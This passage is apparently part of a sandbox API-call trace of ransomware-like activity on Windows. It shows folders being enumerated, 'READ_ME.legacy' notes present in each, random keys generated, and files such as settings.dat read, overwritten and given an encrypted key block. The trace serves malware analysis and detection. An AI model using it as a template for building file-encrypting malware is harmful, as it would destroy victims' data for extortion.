ftCreationTime.dwLowDateTime=0x71ce0e7e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71ce0e7e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0161.540] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61d98 [0161.540] FindNextFileW (in: hFindFile=0x2f61d98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.540] FindNextFileW (in: hFindFile=0x2f61d98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2c64b0, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2c64b0, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.540] FindNextFileW (in: hFindFile=0x2f61d98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2c64b0, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2c64b0, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.540] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61e58 [0161.540] FindNextFileW (in: hFindFile=0x2f61e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.540] FindNextFileW (in: hFindFile=0x2f61e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ec596, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2ec596, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.540] FindNextFileW (in: hFindFile=0x2f61e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ec596, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2ec596, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.541] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f62018 [0161.541] FindNextFileW (in: hFindFile=0x2f62018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.541] FindNextFileW (in: hFindFile=0x2f62018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ec596, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2ec596, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.541] FindNextFileW (in: hFindFile=0x2f62018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ec596, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2ec596, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.541] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61a58 [0161.541] FindNextFileW (in: hFindFile=0x2f61a58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.542] FindNextFileW (in: hFindFile=0x2f61a58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ec596, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2ec596, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.542] FindNextFileW (in: hFindFile=0x2f61a58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ec596, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2ec596, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.542] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61b98 [0161.542] FindNextFileW (in: hFindFile=0x2f61b98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.542] FindNextFileW (in: hFindFile=0x2f61b98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ec596, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2ec596, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.542] FindNextFileW (in: hFindFile=0x2f61b98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71c949cf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0161.542] FindNextFileW (in: hFindFile=0x2f61b98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0161.542] FindNextFileW (in: hFindFile=0x2f61b98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0161.542] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0161.542] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0161.542] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0161.543] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.windowpicker_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1220 [0161.543] GetFileSizeEx (in: hFile=0x1220, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0161.543] ReadFile (in: hFile=0x1220, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.563] SetFilePointer (in: hFile=0x1220, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.563] WriteFile (in: hFile=0x1220, lpBuffer=0x2ecd058*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.563] SetFilePointer (in: hFile=0x1220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0161.563] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.563] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.564] WriteFile (in: hFile=0x1220, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.564] WriteFile (in: hFile=0x1220, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.564] CloseHandle (hObject=0x1220) returned 1 [0161.571] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0161.571] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0161.571] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0161.571] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.windowpicker_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1220 [0161.572] GetFileSizeEx (in: hFile=0x1220, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0161.572] ReadFile (in: hFile=0x1220, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.572] SetFilePointer (in: hFile=0x1220, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.572] WriteFile (in: hFile=0x1220, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.572] SetFilePointer (in: hFile=0x1220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0161.572] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.572] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.573] WriteFile (in: hFile=0x1220, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.574] WriteFile (in: hFile=0x1220, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.574] CloseHandle (hObject=0x1220) returned 1 [0161.576] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61a98 [0161.576] FindNextFileW (in: hFindFile=0x2f61a98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.576] FindNextFileW (in: hFindFile=0x2f61a98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ec596, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2ec596, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.576] FindNextFileW (in: hFindFile=0x2f61a98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ec596, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2ec596, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.576] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61958 [0161.577] FindNextFileW (in: hFindFile=0x2f61958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71c949cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.577] FindNextFileW (in: hFindFile=0x2f61958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ec596, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2ec596, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.577] FindNextFileW (in: hFindFile=0x2f61958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2ec596, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2ec596, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.577] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\AC\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea147891, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x37de8088, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f619d8 [0161.577] FindNextFileW (in: hFindFile=0x2f619d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea147891, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x37de8088, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed2ec596, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.577] FindNextFileW (in: hFindFile=0x2f619d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xea16dae4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152ab04, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xea16dae4, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0161.577] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\AC\\INetCache\\READ_ME.legacy" (normalized: 